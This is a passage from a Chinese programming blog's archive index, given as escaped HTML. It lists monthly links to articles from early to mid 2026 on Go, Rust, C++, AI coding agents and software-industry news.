了！硅谷新共识：浪费算力才是唯一捷径\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/13/linux-maintainer-greg-kh-switched-to-rust-after-35-years-of-c/\"\u003eLinux 内核顶级维护者：写了 35 年 C，是 Rust 让我重新找回了编程的乐趣\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/12/zig-father-refuses-funding-bans-ai-why-no-1-0-in-a-decade/\"\u003e拒领上亿、封杀 AI：Zig 之父为什么 10 年不发 1.0？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/11/writing-idiomatic-go-make-you-better/\"\u003e写地道的 Go 语言，是否能让你成为了一个更好的开发者？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/10/lets-encrypt-adopts-mtcs-preparing-for-post-quantum-security/\"\u003eRSA 将死？Let’s Encrypt 押注 MTCs 迎战后量子时代\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/10/the-story-of-cpp/\"\u003eC++ 的权力游戏：一部关于妥协、背叛与重生的“史诗神剧”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/09/go-proposal-examples-to-support-arbitrary-function-signatures/\"\u003e终结十年纠结：Go 新提案允许 Example 支持任意函数签名\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/08/the-real-reason-big-tech-is-switching-to-go/\"\u003e2026年，大厂重构核心系统为何集体投向 Go？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/07/gaokao-in-the-age-of-ai-is-the-top-tier-degree-worthless/\"\u003e“辛辛苦苦考上985，却发现AI能替代我90%的工作”：今天的高考，我们还在为什么而战？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/06/geohot-slams-ai-agents-as-the-most-expensive-software-disaster/\"\u003e传奇黑客 Geohot 炮轰 AI Agent：这是软件工程史上代价最昂贵的灾难！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/05/stop-writing-go-like-java-avoid-over-architecting/\"\u003e别把 Go 写成 Java：毁掉项目从过度架构开始\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/04/the-maintainers-dilemma/\"\u003e开源维护者的困境\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/04/master-new-tech-in-ai-era-counter-intuitive-learning-guide/\"\u003eAI 时代如何真正掌握一门新技术？这份非主流学习指南建议永久收藏\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/03/10-god-tier-go-qol-libraries-to-use-in-2026/\"\u003eGo 生态17年大浪淘沙：2026年最值得引入的10个“神仙级”QoL工具包\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/02/no-more-boilerplate-go-proposal-function-to-interface-conversion/\"\u003e再见样板代码！Go 官方新提案：函数一键转接口\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/06/01/coding-10x-faster-isnt-10x-development-speed-google-ai-bottleneck/\"\u003e写代码快 10 倍，不等于研发快 10 倍！Google 揭秘 AI 系统级瓶颈\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202605\"\u003e2026.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/31/google-io-2026-defining-the-agentic-ai-era/\"\u003eGoogle I/O 2026：Jeff Dean 携 DeepMind 众神宣告，AI Agent 正在终结“标准化软件”时代\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/30/ghostty-creator-slams-ai-coding-performance-1-5ms-vs-0-02ms/\"\u003eAI 优化 1.5ms，手写 0.02ms！Ghostty 作者痛批 AI 编程“平庸陷阱”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/29/redis-creator-slams-modern-frontend-complexity/\"\u003eRedis 之父吐槽现代前端的复杂性：我们到底是在解决问题，还是在制造问题？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/29/google-io-2026-automated-go-refactoring-eliminating-technical-debt/\"\u003e无痛消灭技术债：Google I/O 2026 开启 Go 自动重构时代\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/28/uber-reveals-hidden-cost-of-go-stack-growth-10-percent-cpu-savings/\"\u003e省下 10% CPU！Uber 揭秘 Go 栈扩容的隐秘代价\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/27/migrate-go-to-rust/\"\u003e从 Go 迁移到 Rust\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/26/why-nvidia-chose-go-to-rewrite-their-ai-infrastructure/\"\u003e悄悄用 Go 重写 AI 基础设施：NVIDIA 的 GPU 云平台为何选择 Go？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/24/shopify-claude-code-configuration-for-23000-engineers/\"\u003eShopify 23,000 名工程师背后的 Claude Code 配置方案（你可以直接复刻的完整配置）\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/23/google-open-sources-ax-and-agent-substrate-agent-centric-cloud-native-foundation/\"\u003eGoogle 开源 AX 与 Agent Substrate：构建以 Agent 为核心的云原生计算底座\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/22/go-1-27-interface-escape-analysis-optimization-breakthrough/\"\u003e十年难题终获突破：揭秘 Go 1.27 接口逃逸分析优化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/21/go-is-the-new-lingua-franca-for-ai-agents-at-google/\"\u003e大洗牌！Google 内部确认：Go 正取代 C++，成为 AI Agent 时代的“通用语言”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/20/ai-coding-win-rate-rankings-go-and-rust-vs-cpp/\"\u003eAI 编码胜率榜：Go 与 Rust 完胜 C++\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/19/ai-era-software-engineer-algorithm-map/\"\u003e代码可以让 AI 写，但设计得由你做：重塑工程师的“算法直觉”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/18/go-performance-optimization-over-rust-rewrites/\"\u003e别神话 Rust 重写了：搞定1%热路径，Go 性能照样起飞\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/17/how-claude-code-works-in-large-codebases-best-practices-and-where-to-start/\"\u003e如何在大型代码库中运用 Claude Code：最佳实践及入门指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/16/go-cured-my-over-engineering-addiction-after-java-ts/\"\u003e写了 10 年 Java/TS，Go 语言终于治好了我的“过度设计”绝症\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/14/uncle-bob-esr-on-why-we-are-turning-to-go-and-rust-in-the-ai-era/\"\u003eAI 时代，软件大师们为什么都倒戈向 Go 和 Rust 了？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/13/go-mod-hidden-features-7-secret-switches-in-go-version/\"\u003e别再瞎写 go.mod 了！一行 go 1.xx，竟藏着 7 个足以颠覆你认知的“秘密开关”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/12/the-embarrassing-truth-about-rust-adoption-in-china/\"\u003e谁说 Rust 在中国火了？扒开 2025 全年数据，我看到了令人尴尬的真相\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/11/go-vs-rust-backend-architecture-the-2026-strategy/\"\u003e“用 Go 打天下，用 Rust 救火”：这才是 2026 年后端架构的唯一正解\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/10/scaling-uber-with-thuan-pham/\"\u003e对话 Uber 前 CTO：我如何用 5000 个微服务驯服这头失控的巨兽\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/09/anthropic-engineer-say-html-is-the-ultimate-language-for-ai/\"\u003eAnthropic 工程师发文：别用 Markdown 了，HTML 才是 AI 的终极语言！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/09/cli-printing-press-intro/\"\u003e火爆外网的 Go 开源神器 CLI Printing Press：一键生成 Agent 专属 CLI 工具\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/08/bun-founder-abandons-zig-for-rust-ai-rewrite/\"\u003eBun 创始人带头“叛逃”：放弃 Zig，用 AI 把项目重写成 Rust？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/07/aws-guru-slams-go-concurrency-as-a-joke-vs-jvm/\"\u003eAWS 大神发文炮轰：Go 的并发就是个“笑话”，JVM 的方案要更优越\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/06/robert-griesemer-on-go-arrow-functions/\"\u003eRobert Griesemer 亲述：只解决 90% 问题的“箭头函数”该长什么样？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/05/ai-makes-everyone-a-developer-like-cameras-for-photographers/\"\u003e“AI 让每个人都成了开发者”，就像“相机让每个人都成了摄影师”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/04/the-ai-layoff-trap/\"\u003eAI 正在把我们推向“双输”深渊：顶级论文揭示“AI 裁员陷阱”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/03/flask-creator-pi-author-on-ai-coding-the-cruel-truth/\"\u003e“AI 正在用垃圾代码摧毁一切！”：Flask 之父对话 Pi 作者，揭开 AI 编程的残酷真相\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/02/from-vibe-coding-to-agentic-engineering-karpathy-survival-guide/\"\u003e从“Vibe-Coding”到“Agentic Engineering”：Andrej Karpathy 的 AI 时代程序员生存法则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/05/01/open-source-civil-war-bun-founder-predicts-ban-on-human-contributions/\"\u003e开源社区“内战”爆发：Bun 创始人预言“未来将禁止人类贡献”，硅谷大佬纷纷站队！\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202604\"\u003e2026.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/30/ghostty-creator-leads-github-exodus-cto-apology-go-fix/\"\u003eGhostty 之父带头“出走”GitHub！官方 CTO 紧急道歉，并揭秘正在使用 Go 语言救火\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/29/go-1-27-default-simd-for-amd64-portable-simd-proposal/\"\u003eGo 1.27 将默认开启 SIMD for amd64，可移植 SIMD 包提案出炉\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/28/go-conditional-expressions-propsal/\"\u003eGo 语言“内战”迎来终局？Go 圣经作者亲自下场，为“三元运算符”发起折中提案！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/27/render-why-we-wont-rewrite-in-rust-the-power-of-boring-go/\"\u003e“我们想用 Rust 重写的次数是：零”：云平台 Render 靠“无聊”的 Go 撑起了千亿流量\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/26/interview-martin-kleppmann-ddia-2nd-edition-ai-distributed-systems/\"\u003e对话 Martin Kleppmann：DDIA 第二版揭秘，以及 AI 将如何颠覆分布式系统\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/25/rust-popularity-vs-redmonk-ranking-reality-check/\"\u003e为什么人人爱 Rust，但 RedMonk 榜单却给它泼了一盆冷水？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/24/go-code-design-day-one-principle-practical-patterns-list/\"\u003eGo 代码设计的“第一天原则”：一份能让你少走五年弯路的实战模式清单\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/23/hashicorp-founder-admits-go-is-alive-thanks-to-ai/\"\u003eHashiCorp 创始人亲口“认错”：AI 让我重新爱上了 Go (文末福利)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/21/why-we-are-building-agent-harness-from-scratch/\"\u003e聊聊为什么我要花这么大精力，带大家手写 Agent Harness？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/20/openclaw-father-ted-talk/\"\u003e“我把公司卖了，却感觉一无所有”：OpenClaw 之父 TED 亲述如何靠 AI 重获新生\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/19/thin-harness-fat-skills/\"\u003e薄驾驭，厚技能：YC 掌门人揭秘拉开 1000 倍效率差距的 AI 工程化心法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/18/ollama-from-open-source-hero-to-community-enemy/\"\u003e从“开源英雄”到“社区公敌”，Ollama 到底做错了什么？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/17/the-origins-of-gpu-computing/\"\u003eGPU 计算的起源\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/17/tiobe-ranking-and-the-decline-of-rust-hype/\"\u003eRust 还没进前十，TIOBE 就开始唱衰了？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/16/structured-concurrency-in-go-research-oriented-perspective/\"\u003e为什么说 go 语句是新时代的 goto？四大法则拯救失控 goroutine\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/15/cpp-community-debate-productivity-revolution-vs-complexity/\"\u003eC++ 社区内部大讨论：新特性到底是“生产力革命”，还是“叠加的复杂性”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/13/dave-cheney-goroutine-management-philosophy/\"\u003e别再无脑 go func() 了！Go 资深布道师 Dave Cheney 的 Goroutine 管理哲学\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/12/agile-manifesto-dead-in-ai-era-martin-fowler-kent-beck/\"\u003eAI 时代，敏捷宣言已死？听听 Martin Fowler 和 Kent Beck 怎么说\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/11/go-command-working-group-formed-legacy-commands-deprecated/\"\u003eGo Command 工作组成立：这几个用了十年的命令可能要被废！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/10/rails-father-dhh-on-ai-and-programmer-value/\"\u003eRuby on Rails 之父最新访谈：AI 正在推高顶尖程序员的身价\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/09/stop-being-small-and-beautiful-rust-petition-to-learn-from-go/\"\u003e别搞“小而美”了！Rust 开发者请愿：求求标准库学学 Go 吧\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/08/perspective-on-quantum-computing-timeline/\"\u003e倒计时 33 个月？Go 前安全负责人：量子计算机将“摧毁”互联网\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/07/garbage-collectors-deep-dive/\"\u003e从 1960 到 2026：一文看透 Java、Go、Python 垃圾回收器的原理与演进\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/06/how-to-write-unmaintainable-code/\"\u003eAI 编程时代，我挖出了一本 1999 年的“删库跑路”指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/04/the-death-of-coding-joy-in-the-age-of-ai-agents/\"\u003e当AI 榨干了编程所有的乐趣：我不再是程序员，而是“Claude Code”的项目经理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/03/agentic-api-in-action/\"\u003eREST 已老，AI 时代的智能体需要怎样的 API？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/02/2026-programming-language-saturation-rankings-go-rust-winners/\"\u003e2026 编程语言“饱和度”榜单出炉：JavaScript/Python 已“烂大街”，Go/Rust 成最大赢家？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/04/01/rewrote-jsonata-in-golang-with-ai/\"\u003e一天重写 JSONata，我用 400 美元干掉了公司 50 万美元的 K8s 集群\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202603\"\u003e2026.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/31/go-minimalism-vs-cpp26-epic-new-features/\"\u003e当 Go 还在追求极简时，C++ 26 却又加了四大“史诗级”新特性\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/30/reduced-p99-latency-by-request-hedging-in-go/\"\u003e降低 74% 的 P99 尾延迟：揭秘 Go HTTP 客户端的“请求对冲”魔法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/29/stop-mindless-ai-coding-we-are-heading-to-a-dead-end/\"\u003e别再用 AI 疯狂撸代码了！我们正在把自己逼入“死胡同”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/28/ai-engineer-gpu-introduction-course/\"\u003e谷歌一篇论文砸崩内存巨头？不懂“显存墙”，怎么做 AI 时代的工程师！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/27/function-type-inference-should-work-in-all-assignment-contexts/\"\u003eRust 看了流泪，AI 看了沉默：扒开 Go 泛型最让你抓狂的“残疾”类型推断\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/26/rust-project-perspectives-on-ai/\"\u003eRust 核心团队大吐苦水：求求你们别再用 AI 提交“垃圾 PR”了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/25/go-spec-contradiction-in-types-section/\"\u003eGo 语言之父亲自下场道歉：藏在 Spec 里的十年“笔误”，终于要修正了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/24/no-soil-for-new-programming-languages-in-ai-era/\"\u003e告别古法编程黄金时代：AI 时代不会再有新编程语言诞生的土壤\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/23/go-is-the-best-programming-language-for-llm/\"\u003eOpenAI 创始人盛赞 Rust，却遭开发者反驳：Go 才是大模型眼里的“香饽饽”！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/22/stop-tactical-diligence-start-stretch-zone-growth/\"\u003e看了 100 小时教程，你为什么依然写不好代码？扒开技术人的“成长环”真相\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/21/best-practices-for-secure-error-handling-in-go/\"\u003e你的 Go 报错信息正在“出卖”你！扒一扒大厂是如何做错误隔离与日志脱敏的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/20/heartbeats-in-distributed-systems/\"\u003e如果服务器悄悄“猝死”，你的系统还能活几秒？揭秘分布式集群的“续命”保底机制\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/19/2025-turing-award-go-quantum-resistant-cryptography/\"\u003e刚刚，2025图灵奖揭晓！面对即将瘫痪的传统密码学，Go 语言的“抗量子”底牌曝光\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/19/proposal-support-dependency-cooldown-in-go-tooling/\"\u003e别再无脑 go get @latest 了！你的服务器可能下一秒就被黑客接管\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/18/why-ai-agents-act-stupid-manus-expert-pitfall-guide/\"\u003e为什么你的 AI Agent 总是像个智障？来自 Manus 大佬的 2 年血泪避坑指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/18/building-industrial-grade-agent-skills/\"\u003e手工作坊的终结：为什么你必须把 Agent Skills 开发，变成严谨的软件工程?\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/17/ai-engineer-survival-2026-post-hype/\"\u003e泡沫消退后的冷思考：2026年，AI 工程师的真实生存图景\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/17/why-is-go-regex-so-slow/\"\u003e被嘲笑比 Python 还慢？扒开 Go 正则表达式的底层，看看它为了防范“系统猝死”付出了什么\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/16/go-language-eliminated-undefined-behavior-truth-investigation/\"\u003e真相调查：Go 语言真的消灭了 Undefined Behavior 吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/15/over-engineering-trap-no-promotion-for-simplicity/\"\u003e别傻了，写出极致整洁的代码，是你升不了职的根本原因\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/15/why-your-openclaw-skills-make-ai-go-on-strike/\"\u003e都在用 OpenClaw 跑 Skill，但你写的“技能”为什么总让 AI 频繁罢工？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/14/go-sumdb-transparent-logs-supply-chain-trust/\"\u003e拒绝“偷天换日”！深度拆解 Go sumdb 的密码学防线\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/13/go-duckdb-micro-data-warehouse-dimensionality-reduction/\"\u003e别再滥用 ClickHouse 了！单机每秒狂刷 1800 万条数据，拆解 Go+DuckDB 的“微型数仓”降维打击\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/12/building-for-trillions-of-agents/\"\u003e别再卷前端 UI 了！未来万亿级用户的产品，根本没有界面\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/12/go-concurrency-scalability-issues-on-128-core-cpu/\"\u003e老板花重金买了台 128 核服务器，我的 Go 程序反而变慢了？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/11/in-memory-of-tony-hoare/\"\u003e你每天敲下的 go func()，藏着这位 92 岁老人的毕生心血\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/11/standard-library-is-part-of-the-go-success/\"\u003e拉个 JSON 居然要装 5 个第三方库？终于明白 Go 的标准库到底有多“霸道”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/09/a-decade-of-docker-containers/\"\u003eDocker 的十年：重塑云原生基础设施的“底层炼金术”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/09/hardcore-review-13-languages-ai-favorite-go-performance/\"\u003e硬核测评：哪门语言最受 AI 宠爱？13 种语言横向对比，Go 表现如何？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/08/her-power-in-code-pioneers-to-ai-era/\"\u003e从第一位程序员到 AI 时代的领航者：代码世界里的“她”力量\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/07/breaking-curse-of-knowledge-architect-reflection-openclaw/\"\u003e打破“知识诅咒”：资深架构师在 OpenClaw 浪潮中的掉队与反思\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/07/why-go-is-the-best-language-for-ai-agents/\"\u003eAI 时代的新王座：为什么说 Go 可能是开发 AI Agent 的最佳语言？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/06/building-claude-code-with-boris-cherny/\"\u003e从手写代码到日提 30 个 PR：Claude Code 缔造者的 AI 编程启示录\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/06/go-1-26-most-problematic-release/\"\u003e数据说话：Go 1.26 或成近年来“问题最多”的大版本，现在升级安全吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/05/modern-go-protobuf-dev-in-2026/\"\u003e2026 年了，写 Go + Protobuf 还在手敲 protoc 命令？是时候换用这种新姿势了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/04/why-web3-remains-cold-ai-agents-web4-dawn/\"\u003e为什么 Web3 依然寒气逼人？AI 智能体如何催生 Web 4.0 的黎明\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/04/package-management-unsolvable-problem-programming-languages/\"\u003e“棘手”难题：为什么 Go、Rust 与 Java 等语言的包管理永远无法达到完美？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/02/modern-go-evolution-guide-1-0-to-1-26\"\u003e别再像 2015 年那样写 Go 了：Modern Go 终极进化指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/01/open-source-ai-era-coding-agent-takes-over-github/\"\u003eAI 时代的开源：当 Coding Agent 接管 GitHub，我们该何去何从？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/03/01/goodbye-google-uuid-go-standard-library-crypto-uuid/\"\u003e告别 google/uuid：Go 标准库拟新增 crypto/uuid 深度解析\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202602\"\u003e2026.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/28/agentic-software-engineering/\"\u003e停止“氛围编程”（Vibe Coding），拥抱新一代软件工程\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/27/go-mod-init-controversy-elitism-vs-democracy/\"\u003eGo mod init 降级撤回背后：精英主义正在杀死 Go 社区的民主？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/26/rust-complexity-go-minimalism-vs-zig-ultimate-answer/\"\u003e拒绝 Rust 的复杂，跨越 Go 的极简：Zig 会是系统级编程的最终答案吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/25/rust-crossing-the-chasm-ubuntu-embrace/\"\u003eRust 的“跨越鸿沟”时刻：Ubuntu 全面拥抱 Rust 意味着什么？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/25/govulncheck-high-signal-to-noise-ratio-security-workflow/\"\u003e拒绝无效告警！用 Govulncheck 构建高信噪比的 Go 安全扫描工作流\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca 